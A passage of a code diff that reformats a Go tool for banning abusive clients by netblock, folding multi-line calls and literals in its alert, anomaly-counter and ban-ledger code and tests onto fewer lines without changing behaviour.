-				alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)},
-			)
 		}
 
 		synctest.Wait()
@@ -1069,9 +885,7 @@ func TestDestinationThatDoesNotAnswerHoldsUpNeitherOther(t *testing.T) {
 			wantDestinationCounts(t, q, destination, want)
 		}
 
-		if got := standIns[alerts.DestinationSlack].received(); len(
+		if got := standIns[alerts.DestinationSlack].received(); len(got) != 1 {
-			got,
-		) != 1 {
 			t.Errorf("Slack was sent %d requests, want 1", len(got))
 		}
 
@@ -1086,16 +900,11 @@ func TestDestinationThatDoesNotAnswerHoldsUpNeitherOther(t *testing.T) {
 			alerts.Counts{Sent: 3, SendFailures: 1})
 
 		logged := log.String()
-		if !strings.Contains(
+		if !strings.Contains(logged,
-			logged,
+			`"msg":"sending an alert to SWW_ALERT_SLACK_WEBHOOK_URL failed"`) ||
-			`"msg":"sending an alert to SWW_ALERT_SLACK_WEBHOOK_URL failed"`,
-		) ||
 			strings.Contains(logged, "hooks.slack.example") ||
 			strings.Contains(logged, "T0123") {
-			t.Errorf(
+			t.Errorf("process log %q names no failure, or names the URL", logged)
-				"process log %q names no failure, or names the URL",
-				logged,
-			)
 		}
 	})
 }
@@ -1113,9 +922,7 @@ func TestDropsAreCountedForEachDestination(t *testing.T) {
 		// Each alert is raised once each destination has done all it can
 		// with those before it.
 		for n := range alerts.QueueSize + 1 {
-			q.Raise(
+			q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)})
-				alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)},
-			)
 			synctest.Wait()
 		}
 
@@ -1329,10 +1136,7 @@ func start(t *testing.T, params alerts.Params) (*standIn, *alerts.Queue) {
 // startAll returns, by destination, a stand-in that answers for each
 // destination params sets, and a Queue that sends to them, run until the
 // test ends.
-func startAll(
+func startAll(t *testing.T, params alerts.Params) (map[string]*standIn, *alerts.Queue) {
-	t *testing.T,
-	params alerts.Params,
-) (map[string]*standIn, *alerts.Queue) {
 	t.Helper()
 
 	q := alerts.New(params)
@@ -1366,9 +1170,7 @@ func midnight() time.Time {
 
 // netblock returns the n-th netblock of a test, counted from 0.
 func netblock(n int) netip.Prefix {
-	return netip.MustParsePrefix(
+	return netip.MustParsePrefix(fmt.Sprintf("203.0.%d.%d/32", 113+n/256, n%256))
-		fmt.Sprintf("203.0.%d.%d/32", 113+n/256, n%256),
-	)
 }
 
 // roundTrip returns state once written as JSON and read back, as
@@ -1421,22 +1223,12 @@ func wantEvents(t *testing.T, webhook *standIn, want ...string) {
 // requests to it that it counts as failed, the alerts it counts as held
 // back, and those it counts as dropped for the webhook.
 func wantCounts(
-	t *testing.T,
+	t *testing.T, q *alerts.Queue, sent, sendFailures, suppressed, dropped int64,
-	q *alerts.Queue,
-	sent, sendFailures, suppressed, dropped int64,
 ) {
 	t.Helper()
 
-	wantDestinationCounts(
+	wantDestinationCounts(t, q, alerts.DestinationWebhook,
-		t,
+		alerts.Counts{Sent: sent, SendFailures: sendFailures, Dropped: dropped})
-		q,
-		alerts.DestinationWebhook,
-		alerts.Counts{
-			Sent:         sent,
-			SendFailures: sendFailures,
-			Dropped:      dropped,
-		},
-	)
 
 	if q.Suppressed() != suppressed {
 		t.Errorf("%d alerts held back, want %d", q.Suppressed(), suppressed)
@@ -1469,9 +1261,7 @@ func anAlertForEachEvent() []eventMessage {
 		{
 			alerts.Alert{
 				Event: alerts.EventBan, Client: netip.MustParseAddr("203.0.113.9"),
-				Netblock: netip.MustParsePrefix(
+				Netblock: netip.MustParsePrefix("203.0.113.0/24"), Country: "DE",
-					"203.0.113.0/24",
-				), Country: "DE",
 				Reason: "requests per hour over the limit of 10000",
 				Detail: map[string]any{"mode": "observe"},
 			},
@@ -1482,9 +1272,7 @@ func anAlertForEachEvent() []eventMessage {
 		{
 			alerts.Alert{
 				Event: alerts.EventPermanentBan, Client: netip.MustParseAddr("198.51.100.7"),
-				Netblock: netip.MustParsePrefix(
+				Netblock: netip.MustParsePrefix("198.51.100.7/32"), Country: "FR",
-					"198.51.100.7/32",
-				), Country: "FR",
 				Reason: "matched the rule env-file",
 			},
 			"fsn1app1/blog: permanent_ban", "high no_entry",
@@ -1559,30 +1347,18 @@ func wantSlackMessage(t *testing.T, request post, text string) {
 // wantNtfyMessage checks that request, one ntfy was sent, posted the
 // message text with the title, and with the priority and the tag
 // priorityAndTag gives, with a space between them.
-func wantNtfyMessage(
+func wantNtfyMessage(t *testing.T, request post, title, priorityAndTag, text string) {
-	t *testing.T,
-	request post,
-	title, priorityAndTag, text string,
-) {
 	t.Helper()
 
 	got := []string{
 		request.method, request.url, request.header.Get("Title"),
-		request.header.Get(
+		request.header.Get("Priority") + " " + request.header.Get("Tags"), request.body,
-			"Priority",
-		) + " " + request.header.Get(
-			"Tags",
-		), request.body,
 	}
 
 	want := []string{http.MethodPost, ntfyURL, title, priorityAndTag, text}
 	if !slices.Equal(got, want) {
-		t.Errorf(
+		t.Errorf("ntfy was sent the method, URL, title, priority and tag, and text "+
-			"ntfy was sent the method, URL, title, priority and tag, and text "+
+			"%q, want %q", got, want)
-				"%q, want %q",
-			got,
-			want,
-		)
 	}
 }
 

internal/anomaly/anomaly.go

@@ -43,13 +43,7 @@ const (
 
 // Scopes returns every scope.
 func Scopes() []string {
-	return []string{
+	return []string{ScopeClient, ScopeNet, ScopeASN, ScopeTotal, ScopeWatchedNet}
-		ScopeClient,
-		ScopeNet,
-		ScopeASN,
-		ScopeTotal,
-		ScopeWatchedNet,
-	}
 }
 
 // The windows a counter counts in, as the alerts name them.
@@ -197,12 +191,8 @@ func (c *Counters) Snapshot() []Counter {
 	c.mu.Unlock()
 
 	slices.SortFunc(counters, func(a, b Counter) int {
-		return cmp.Or(
+		return cmp.Or(cmp.Compare(a.Scope, b.Scope), a.Netblock.Compare(b.Netblock),
-			cmp.Compare(a.Scope, b.Scope),
+			cmp.Compare(a.ASN, b.ASN), cmp.Compare(a.Name, b.Name))
-			a.Netblock.Compare(b.Netblock),
-			cmp.Compare(a.ASN, b.ASN),
-			cmp.Compare(a.Name, b.Name),
-		)
 	})
 
 	return counters
@@ -267,11 +257,7 @@ func (c *Counters) scopesOf(r Request) []scope {
 	for _, named := range p.NamedNetblocks {
 		if named.Netblock.Contains(client) {
 			all = append(all, scope{
-				key{
+				key{scope: ScopeWatchedNet, netblock: named.Netblock, name: named.Name}, p.Watch,
-					scope:    ScopeWatchedNet,
-					netblock: named.Netblock,
-					name:     named.Name,
-				}, p.Watch,
 			})
 		}
 	}
@@ -330,12 +316,7 @@ func (c *Counter) add(
 
 		counted := count.buckets.Add(now, count.length, n)
 		if !passed && counted > float64(threshold) {
-			first = overThreshold{
+			first = overThreshold{count.kind, count.window, counted, threshold}
-				count.kind,
-				count.window,
-				counted,
-				threshold,
-			}
 			passed = true
 		}
 	}
@@ -378,22 +359,12 @@ func (c *Counter) lastStart() time.Time {
 
 // key returns what tells c from the other counters.
 func (c *Counter) key() key {
-	return key{
+	return key{scope: c.Scope, netblock: c.Netblock, asn: c.ASN, name: c.Name}
-		scope:    c.Scope,
-		netblock: c.Netblock,
-		asn:      c.ASN,
-		name:     c.Name,
-	}
 }
 
 // counter returns a counter for k, with nothing counted yet.
 func (k key) counter() *Counter {
-	return &Counter{
+	return &Counter{Scope: k.scope, Netblock: k.netblock, ASN: k.asn, Name: k.name}
-		Scope:    k.scope,
-		Netblock: k.netblock,
-		ASN:      k.asn,
-		Name:     k.name,
-	}
 }
 
 // alertFor returns the anomaly alert for o, a count over its threshold in
@@ -433,13 +404,8 @@ func alertFor(r Request, k key, o overThreshold) alerts.Alert {
 		ASN:      r.ASN,
 		ASName:   r.ASName,
 		Country:  r.Country,
-		Reason: fmt.Sprintf(
+		Reason: fmt.Sprintf("%s per %s of %s over the threshold of %d", o.kind, o.window,
-			"%s per %s of %s over the threshold of %d",
+			counted, o.threshold),
-			o.kind,
-			o.window,
-			counted,
-			o.threshold,
-		),
 		Detail: detail,
 	}
 }

internal/anomaly/anomaly_test.go

@@ -31,10 +31,7 @@ func TestEachScopeHasACooldownOfItsOwn(t *testing.T) {
 		// name one netblock.
 		NetV4Prefix: 32,
 		NamedNetblocks: []anomaly.NamedNetblock{
-			{
+			{Name: "office", Netblock: office}, {Name: "hq", Netblock: office},
-				Name:     "office",
-				Netblock: office,
-			}, {Name: "hq", Netblock: office},
 		},
 		Alerts: queue,
 	})
@@ -83,16 +80,11 @@ func TestEachScopeHasACooldownOfItsOwn(t *testing.T) {
 	}
 
 	if after.Suppressed() != 9 {
-		t.Errorf(
+		t.Errorf("after loading, %d alerts are held back, want 9", after.Suppressed())
-			"after loading, %d alerts are held back, want 9",
-			after.Suppressed(),
-		)
 	}
 }
 
-func TestKeepsAtMost20000CountersDroppingTheLeastRecentlyCounted(
+func TestKeepsAtMost20000CountersDroppingTheLeastRecentlyCounted(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	counters := newCounters(anomaly.Params{
@@ -111,28 +103,17 @@ func TestKeepsAtMost20000CountersDroppingTheLeastRecentlyCounted(
 	got := counters.Snapshot()
 	if len(got) != maxCounters || !holds(got, 0) || holds(got, 1) ||
 		!holds(got, maxCounters) {
-		t.Errorf(
+		t.Errorf("%d counters, holding the first client %v, the second %v and the "+
-			"%d counters, holding the first client %v, the second %v and the "+
+			"new one %v, want %d, the first and the new one", len(got), holds(got, 0),
-				"new one %v, want %d, the first and the new one",
+			holds(got, 1), holds(got, maxCounters), maxCounters)
-			len(got),
-			holds(got, 0),
-			holds(got, 1),
-			holds(got, maxCounters),
-			maxCounters,
-		)
 	}
 }
 
-func TestLoadEmptiesBucketsWhoseTimeHasPassedAndDropsEmptyCounters(
+func TestLoadEmptiesBucketsWhoseTimeHasPassedAndDropsEmptyCounters(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	counters := newCounters(anomaly.Params{
-		Net: anomaly.Thresholds{
+		Net:         anomaly.Thresholds{RequestsPerMinute: 1000, RequestsPerHour: 1000},
-			RequestsPerMinute: 1000,
-			RequestsPerHour:   1000,
-		},
 		Total:       anomaly.Thresholds{RequestsPerMinute: 1000},
 		NetV4Prefix: 24,
 	})
@@ -161,9 +142,7 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassedAndDropsEmptyCounters(
 		Hour:     ratelimit.Buckets{Start: midnight(), Current: 7},
 	}
 	if got, want := counters.Snapshot(), []anomaly.Counter{netblock}; !reflect.DeepEqual(
-		got,
+		got, want) {
-		want,
-	) {
 		t.Errorf("counters read\n%+v\nwant\n%+v", got, want)
 	}
 
@@ -213,12 +192,9 @@ func TestLoadDropsTheLeastRecentlyCountedFirst(t *testing.T) {
 
 	got := counters.Snapshot()
 	if !holds(got, 0) || holds(got, maxCounters/2) {
-		t.Errorf(
+		t.Errorf("holding the first client of the file %v, and the first counted in "+
-			"holding the first client of the file %v, and the first counted in "+
+			"the minute before %v, want only the first", holds(got, 0),
-				"the minute before %v, want only the first",
+			holds(got, maxCounters/2))
-			holds(got, 0),
-			holds(got, maxCounters/2),
-		)
 	}
 }
 
@@ -249,14 +225,9 @@ func newQueue() *alerts.Queue {
 // request returns a request from client number i, an address in
 // 10.0.0.0/8.
 func request(i int) anomaly.Request {
-	client := netip.MustParseAddr(
+	client := netip.MustParseAddr(fmt.Sprintf("10.%d.%d.%d", i>>16, i>>8&255, i&255))
-		fmt.Sprintf("10.%d.%d.%d", i>>16, i>>8&255, i&255),
-	)
 
-	return anomaly.Request{
+	return anomaly.Request{Client: client, ClientGroup: netip.PrefixFrom(client, 32)}
-		Client:      client,
-		ClientGroup: netip.PrefixFrom(client, 32),
-	}
 }
 
 // holds reports whether counters hold the counter of client number i.

internal/bans/admin_test.go

@@ -36,21 +36,9 @@ func TestAdminsBansAreNeverDroppedAndDoNotCountTowardMaxBans(t *testing.T) {
 	// then one with an admin's ban before a ban sww made: the one
 	// ban counted toward MaxBans.
 	ledger.Load([]bans.Ban{
-		{
+		{Netblock: adminsOnly, Start: midnight().Add(-3 * time.Hour), Cause: bans.CauseAdmin},
-			Netblock: adminsOnly,
+		{Netblock: adminsOnly, Start: midnight().Add(-2 * time.Hour), Cause: bans.CauseAdmin},
-			Start:    midnight().Add(-3 * time.Hour),
+		{Netblock: both, Start: midnight().Add(-time.Hour), Cause: bans.CauseAdmin},
-			Cause:    bans.CauseAdmin,
-		},
-		{
-			Netblock: adminsOnly,
-			Start:    midnight().Add(-2 * time.Hour),
-			Cause:    bans.CauseAdmin,
-		},
-		{
-			Netblock: both,
-			Start:    midnight().Add(-time.Hour),
-			Cause:    bans.CauseAdmin,
-		},
 		{
 			Netblock: both,
 			Start:    midnight(),
@@ -62,27 +50,15 @@ func TestAdminsBansAreNeverDroppedAndDoNotCountTowardMaxBans(t *testing.T) {
 
 	// A new ban drops the ban sww made, and only that one.
 	ledger.BanForLimit(second, midnight(), bans.Notes{})
-	wantBans(
+	wantBans(t, ledger, map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 1})
-		t,
-		ledger,
-		map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 1},
-	)
 
 	if ledger.Bans(both)[0].Cause != bans.CauseAdmin {
-		t.Errorf(
+		t.Errorf("%s kept %+v, want the admin's ban", both, ledger.Bans(both))
-			"%s kept %+v, want the admin's ban",
-			both,
-			ledger.Bans(both),
-		)
 	}
 
 	// And the next drops that one.
 	ledger.BanForLimit(third, midnight(), bans.Notes{})
-	wantBans(
+	wantBans(t, ledger, map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 0, third: 1})
-		t,
-		ledger,
-		map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 0, third: 1},
-	)
 }
 
 func TestEarlierBansCountABanDroppedAfterAnAdminsBan(t *testing.T) {
@@ -98,11 +74,7 @@ func TestEarlierBansCountABanDroppedAfterAnAdminsBan(t *testing.T) {
 	// twice, each time after its last ban has ended.
 	ledger.BanForAdmin(netblock, midnight(), midnight().Add(time.Minute),
 		"probes for logins")
-	first, _ := ledger.BanForLimit(
+	first, _ := ledger.BanForLimit(netblock, midnight().Add(time.Minute), bans.Notes{})
-		netblock,
-		midnight().Add(time.Minute),
-		bans.Notes{},
-	)
 	second, _ := ledger.BanForLimit(netblock, first.Expires, bans.Notes{})
 
 	// A ban on another netblock fills the ledger, and the netblock's first
@@ -147,21 +119,12 @@ func TestReasonOfTheBansSwwMakes(t *testing.T) {
 
 	ledger := bans.New(defaultParams())
 
-	limit, _ := ledger.BanForLimit(
+	limit, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.1/32"), midnight(),
-		netip.MustParsePrefix("203.0.113.1/32"),
+		bans.Notes{Kind: "requests", Limit: 1000, Window: "minute"})
-		midnight(),
+	byteLimit, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.3/32"),
-		bans.Notes{Kind: "requests", Limit: 1000, Window: "minute"},
+		midnight(), bans.Notes{Kind: "bytes", Limit: 10 << 30, Window: "hour"})
-	)
+	attack, _ := ledger.BanForAttack(netip.MustParsePrefix("203.0.113.2/32"), midnight(),
-	byteLimit, _ := ledger.BanForLimit(
+		bans.Notes{RuleID: "git-dir", Target: "path"})
-		netip.MustParsePrefix("203.0.113.3/32"),
-		midnight(),
-		bans.Notes{Kind: "bytes", Limit: 10 << 30, Window: "hour"},
-	)
-	attack, _ := ledger.BanForAttack(
-		netip.MustParsePrefix("203.0.113.2/32"),
-		midnight(),
-		bans.Notes{RuleID: "git-dir", Target: "path"},
-	)
 
 	for _, tc := range []struct{ got, want string }{
 		{limit.Reason, "requests per minute over the limit of 1000"},
@@ -203,25 +166,17 @@ func TestLiftedBanForALimitRefusesNothingAndMakesNoBanLonger(t *testing.T) {
 	ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{})
 	if ban.Expires.Sub(ban.Start) != time.Hour ||
 		ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
-		t.Errorf(
+		t.Errorf("the next ban lasts %s with earlier bans %+v, want 1h and 1 for a limit",
-			"the next ban lasts %s with earlier bans %+v, want 1h and 1 for a limit",
+			ban.Expires.Sub(ban.Start), ban.Notes.EarlierBans)
-			ban.Expires.Sub(ban.Start),
-			ban.Notes.EarlierBans,
-		)
 	}
 
 	held := ledger.Bans(netblock)
 	if len(held) != 2 || !reflect.DeepEqual(held[0], lifted) {
-		t.Errorf(
+		t.Errorf("the ledger holds %+v, want the lifted ban and the new one", held)
-			"the ledger holds %+v, want the lifted ban and the new one",
-			held,
-		)
 	}
 }
 
-func TestLiftedBanForAnAttackRefusesNothingAndMakesNoBanLonger(
+func TestLiftedBanForAnAttackRefusesNothingAndMakesNoBanLonger(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	// A permanent ban for a clear sign of attack, lifted.
@@ -243,20 +198,13 @@ func TestLiftedBanForAnAttackRefusesNothingAndMakesNoBanLonger(
 
 	active, permanent := ledger.Count(now)
 	if active != 0 || permanent != 0 {
-		t.Errorf(
+		t.Errorf("%d bans are active and %d permanent, want none", active, permanent)
-			"%d bans are active and %d permanent, want none",
-			active,
-			permanent,
-		)
 	}
 
 	// The next clear sign of attack bans for seven days, as a first does.
 	ban, _ := ledger.BanForAttack(netblock, now, bans.Notes{})
 	if ban.Expires.Sub(ban.Start) != 7*day {
-		t.Errorf(
+		t.Errorf("the next ban for an attack ends at %s, want seven days on", ban.Expires)
-			"the next ban for an attack ends at %s, want seven days on",
-			ban.Expires,
-		)
 	}
 }
 
@@ -264,11 +212,8 @@ func TestLoadEditCountsTheBansAnAdminMade(t *testing.T) {
 	t.Parallel()
 
 	ledger := bans.New(defaultParams())
-	made, _ := ledger.BanForLimit(
+	made, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.1/32"), midnight(),
-		netip.MustParsePrefix("203.0.113.1/32"),
+		bans.Notes{})
-		midnight(),
-		bans.Notes{},
-	)
 	atStart := bans.Ban{
 		Netblock: netip.MustParsePrefix("203.0.113.2/32"),
 		Start:    midnight(),
@@ -278,10 +223,7 @@ func TestLoadEditCountsTheBansAnAdminMade(t *testing.T) {
 	ledger.Load([]bans.Ban{made, atStart})
 
 	if got := ledger.Made(bans.CauseAdmin); got != 0 {
-		t.Fatalf(
+		t.Fatalf("%d bans made by an admin after the start's, want none", got)
-			"%d bans made by an admin after the start's, want none",
-			got,
-		)
 	}
 
 	// The admin keeps the ban sww made, keeps the one read at the
@@ -294,13 +236,9 @@ func TestLoadEditCountsTheBansAnAdminMade(t *testing.T) {
 	}
 	ledger.LoadEdit([]bans.Ban{kept, atStart, added})
 
-	if ledger.Made(bans.CauseAdmin) != 1 ||
+	if ledger.Made(bans.CauseAdmin) != 1 || ledger.Made(bans.CauseLimit) != 1 {
-		ledger.Made(bans.CauseLimit) != 1 {
+		t.Errorf("%d bans made by an admin and %d for a limit, want 1 of each",
-		t.Errorf(
+			ledger.Made(bans.CauseAdmin), ledger.Made(bans.CauseLimit))
-			"%d bans made by an admin and %d for a limit, want 1 of each",
-			ledger.Made(bans.CauseAdmin),
-			ledger.Made(bans.CauseLimit),
-		)
 	}
 }
 
@@ -326,12 +264,8 @@ func TestAdminsBanIsMadeWhileAnotherLasts(t *testing.T) {
 		Notes:    bans.Notes{EarlierBans: bans.EarlierBans{Limit: 1}},
 	}
 
-	got := ledger.BanForAdmin(
+	got := ledger.BanForAdmin(netip.MustParsePrefix("203.0.113.9/24"), now, time.Time{},
-		netip.MustParsePrefix("203.0.113.9/24"),
+		"probes for logins")
-		now,
-		time.Time{},
-		"probes for logins",
-	)
 	if !reflect.DeepEqual(got, want) {
 		t.Errorf("the admin's ban is\n%+v\nwant\n%+v", got, want)
 	}
@@ -343,17 +277,10 @@ func TestAdminsBanIsMadeWhileAnotherLasts(t *testing.T) {
 	}
 
 	// It refuses once the ban for the limit has ended.
-	ban, banned, _ := ledger.Find(
+	ban, banned, _ := ledger.Find(netblock.Addr(), midnight().Add(2*time.Hour))
-		netblock.Addr(),
-		midnight().Add(2*time.Hour),
-	)
 	if !banned || !reflect.DeepEqual(ban, want) {
-		t.Errorf(
+		t.Errorf("after the limit's ban the netblock is under %+v (%t), want %+v",
-			"after the limit's ban the netblock is under %+v (%t), want %+v",
+			ban, banned, want)
-			ban,
-			banned,
-			want,
-		)
 	}
 }
 
@@ -385,12 +312,8 @@ func TestLiftLiftsEveryActiveBanCoveringTheClient(t *testing.T) {
 	now := midnight().Add(time.Minute)
 
 	lifted := ledger.Lift(client, now)
-	if len(lifted) != 2 || lifted[0].Lifted != now ||
+	if len(lifted) != 2 || lifted[0].Lifted != now || lifted[1].Lifted != now {
-		lifted[1].Lifted != now {
+		t.Errorf("lifted %+v, want the two active bans covering the client", lifted)
-		t.Errorf(
-			"lifted %+v, want the two active bans covering the client",
-			lifted,
-		)
 	}
 
 	wantChanged(t, ledger, true)
@@ -407,11 +330,8 @@ func TestLiftLiftsEveryActiveBanCoveringTheClient(t *testing.T) {
 	covering := ledger.Covering(client)
 	if len(covering) != 3 || covering[0].Netblock != wide ||
 		!covering[1].Lifted.IsZero() || covering[2].Lifted != now {
-		t.Errorf(
+		t.Errorf("the bans covering the client are %+v, want the /24's and both "+
-			"the bans covering the client are %+v, want the /24's and both "+
+			"of its own, the earlier not lifted", covering)
-				"of its own, the earlier not lifted",
-			covering,
-		)
 	}
 
 	// With none active, nothing is lifted or changed.
@@ -422,26 +342,16 @@ func TestLiftLiftsEveryActiveBanCoveringTheClient(t *testing.T) {
 	wantChanged(t, ledger, false)
 }
 
-func TestPermanentBanOnAWiderNetblockIsReturnedOverATemporaryBan(
+func TestPermanentBanOnAWiderNetblockIsReturnedOverATemporaryBan(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	client := netip.MustParseAddr("203.0.113.9")
 	ledger := bans.New(defaultParams())
 
 	// The temporary ban is made first, so that its netblock is looked at first.
-	ledger.BanForLimit(
+	ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"), midnight(), bans.Notes{})
-		netip.MustParsePrefix("203.0.113.9/32"),
+	ledger.BanForAdmin(netip.MustParsePrefix("203.0.113.0/24"), midnight(), time.Time{},
-		midnight(),
+		"for good")
-		bans.Notes{},
-	)
-	ledger.BanForAdmin(
-		netip.MustParsePrefix("203.0.113.0/24"),
-		midnight(),
-		time.Time{},
-		"for good",
-	)
 
 	wantPermanentBan(t, ledger, client, midnight().Add(time.Minute))
 }
@@ -453,19 +363,10 @@ func TestOlderPermanentBanIsReturnedOverANewerTemporaryBan(t *testing.T) {
 	ledger := bans.New(defaultParams())
 
 	ledger.BanForAdmin(netblock, midnight(), time.Time{}, "for good")
-	ledger.BanForAdmin(
+	ledger.BanForAdmin(netblock, midnight().Add(time.Minute), midnight().Add(time.Hour),
-		netblock,
+		"for an hour")
-		midnight().Add(time.Minute),
-		midnight().Add(time.Hour),
-		"for an hour",
-	)
 
-	wantPermanentBan(
+	wantPermanentBan(t, ledger, netblock.Addr(), midnight().Add(2*time.Minute))
-		t,
-		ledger,
-		netblock.Addr(),
-		midnight().Add(2*time.Minute),
-	)
 }
 
 // wantPermanentBan checks that Find and Check return a permanent ban for
@@ -481,12 +382,7 @@ func wantPermanentBan(
 	} {
 		ban, banned, _ := look(client, now)
 		if !banned || !ban.Permanent() {
-			t.Errorf(
+			t.Errorf("%s returned %+v and banned %v, want a permanent ban", name, ban, banned)
-				"%s returned %+v and banned %v, want a permanent ban",
-				name,
-				ban,
-				banned,
-			)
 		}
 	}
 }

internal/bans/bans.go

@@ -209,10 +209,7 @@ func New(params Params) *Ledger {
 	// The ledger drops bans itself, and never those whose cause is
 	// CauseAdmin, however many there are, so the LRU has no limit of its
 	// own: it keeps the netblocks in the order they were last seen.
-	netblocks, err := simplelru.NewLRU[netip.Prefix, *[]Ban](
+	netblocks, err := simplelru.NewLRU[netip.Prefix, *[]Ban](math.MaxInt, nil)
-		math.MaxInt,
-		nil,
-	)
 	if err != nil {
 		panic(err) // NewLRU fails only for a size below one
 	}
@@ -315,15 +312,7 @@ func activeBan(bans []Ban, now time.Time) *Ban {
 func (l *Ledger) BanForLimit(
 	netblock netip.Prefix, now time.Time, notes Notes,
 ) (Ban, bool) {
-	return l.ban(
+	return l.ban(netblock, now, time.Time{}, CauseLimit, limitReason(notes), notes, true)
-		netblock,
-		now,
-		time.Time{},
-		CauseLimit,
-		limitReason(notes),
-		notes,
-		true,
-	)
 }
 
 // WouldBanForLimit returns what BanForLimit would, without making the ban:
@@ -331,15 +320,7 @@ func (l *Ledger) BanForLimit(
 func (l *Ledger) WouldBanForLimit(
 	netblock netip.Prefix, now time.Time, notes Notes,
 ) (Ban, bool) {
-	return l.ban(
+	return l.ban(netblock, now, time.Time{}, CauseLimit, limitReason(notes), notes, false)
-		netblock,
-		now,
-		time.Time{},
-		CauseLimit,
-		limitReason(notes),
-		notes,
-		false,
-	)
 }
 
 // BanForAttack bans netblock at now for a clear sign of attack, with
@@ -350,15 +331,7 @@ func (l *Ledger) WouldBanForLimit(
 func (l *Ledger) BanForAttack(
 	netblock netip.Prefix, now time.Time, notes Notes,
 ) (Ban, bool) {
-	return l.ban(
+	return l.ban(netblock, now, time.Time{}, CauseAttack, attackReason(notes), notes, true)
-		netblock,
-		now,
-		time.Time{},
-		CauseAttack,
-		attackReason(notes),
-		notes,
-		true,
-	)
 }
 
 // WouldBanForAttack returns what BanForAttack would, without making the
@@ -366,15 +339,8 @@ func (l *Ledger) BanForAttack(
 func (l *Ledger) WouldBanForAttack(
 	netblock netip.Prefix, now time.Time, notes Notes,
 ) (Ban, bool) {
-	return l.ban(
+	return l.ban(netblock, now, time.Time{}, CauseAttack, attackReason(notes), notes,
-		netblock,
+		false)
-		now,
-		time.Time{},
-		CauseAttack,
-		attackReason(notes),
-		notes,
-		false,
-	)
 }
 
 // BanForCrowdSec bans netblock at now until expires, when CrowdSec's
@@ -382,39 +348,19 @@ func (l *Ledger) WouldBanForAttack(
 // whether it made it, as BanForLimit does. Its reason is "CrowdSec's
 // decision for <scenario>", the scenario that made the decision.
 func (l *Ledger) BanForCrowdSec(
-	netblock netip.Prefix,
+	netblock netip.Prefix, now, expires time.Time, scenario string, notes Notes,
-	now, expires time.Time,
-	scenario string,
-	notes Notes,
 ) (Ban, bool) {
-	return l.ban(
+	return l.ban(netblock, now, expires, CauseCrowdSec, crowdSecReason(scenario), notes,
-		netblock,
+		true)
-		now,
-		expires,
-		CauseCrowdSec,
-		crowdSecReason(scenario),
-		notes,
-		true,
-	)
 }
 
 // WouldBanForCrowdSec returns what BanForCrowdSec would, without making
 // the ban: what observe mode would have done.
 func (l *Ledger) WouldBanForCrowdSec(
-	netblock netip.Prefix,
+	netblock netip.Prefix, now, expires time.Time, scenario string, notes Notes,
-	now, expires time.Time,
-	scenario string,
-	notes Notes,
 ) (Ban, bool) {
-	return l.ban(
+	return l.ban(netblock, now, expires, CauseCrowdSec, crowdSecReason(scenario), notes,
-		netblock,
+		false)
-		now,
-		expires,
-		CauseCrowdSec,
-		crowdSecReason(scenario),
-		notes,
-		false,
-	)
 }
 
 // WouldBePermanent reports whether a ban on netblock for cause, CauseLimit,
@@ -559,10 +505,7 @@ func (l *Ledger) Bans(netblock netip.Prefix) []Ban {
 // about it. It is not a request from netblock, and leaves when it was last
 // seen unchanged. It does not have bans.json written at once: the notes
 // are written with its next write, as the counts in them are.
-func (l *Ledger) AddLookup(
+func (l *Ledger) AddLookup(netblock netip.Prefix, asn, asName, country string) {
-	netblock netip.Prefix,
-	asn, asName, country string,
-) {
 	l.mu.Lock()
 	defer l.mu.Unlock()
 
@@ -711,10 +654,7 @@ func (l *Ledger) holds(netblock netip.Prefix, start time.Time) bool {
 // keep is true, the ban is not made, only returned: it is the ban that
 // would have been made.
 func (l *Ledger) ban(
-	netblock netip.Prefix,
+	netblock netip.Prefix, now, expires time.Time, cause, reason string, notes Notes,
-	now, expires time.Time,
-	cause, reason string,
-	notes Notes,
 	keep bool,
 ) (Ban, bool) {
 	l.mu.Lock()
@@ -735,13 +675,7 @@ func (l *Ledger) ban(
 	}
 
 	notes.Request = notes.Request.cut()
-	ban := Ban{
+	ban := Ban{Netblock: netblock, Start: now, Cause: cause, Reason: reason, Notes: notes}
-		Netblock: netblock,
-		Start:    now,
-		Cause:    cause,
-		Reason:   reason,
-		Notes:    notes,
-	}
 
 	switch cause {
 	case CauseAttack:
@@ -831,9 +765,7 @@ func (l *Ledger) active(client netip.Addr, now time.Time) *Ban {
 	var first *Ban
 
 	for _, length := range lengths {
-		bans, found := l.netblocks.Get(
+		bans, found := l.netblocks.Get(netip.PrefixFrom(client, length).Masked())
-			netip.PrefixFrom(client, length).Masked(),
-		)
 		if !found {
 			continue
 		}
@@ -866,9 +798,7 @@ func (l *Ledger) covering(client netip.Addr) []*[]Ban {
 	var found []*[]Ban
 
 	for _, length := range lengths {
-		bans, ok := l.netblocks.Peek(
+		bans, ok := l.netblocks.Peek(netip.PrefixFrom(client, length).Masked())
-			netip.PrefixFrom(client, length).Masked(),
-		)
 		if ok {
 			found = append(found, bans)
 		}
@@ -922,15 +852,13 @@ func (l *Ledger) limitExpiry(held []Ban, now time.Time) time.Time {
 	var last *Ban
 
 	for i, ban := range held {
-		if (ban.Cause == CauseLimit || ban.Cause == CauseAdmin) &&
+		if (ban.Cause == CauseLimit || ban.Cause == CauseAdmin) && ban.Lifted.IsZero() &&
-			ban.Lifted.IsZero() &&
 			(last == nil || ban.Expires.After(last.Expires)) {
 			last = &held[i]
 		}
 	}
 
-	if last != nil &&
+	if last != nil && now.Sub(last.Expires) <= l.params.LimitBanRepeatWindow {
-		now.Sub(last.Expires) <= l.params.LimitBanRepeatWindow {
 		lastLength := last.Expires.Sub(last.Start)
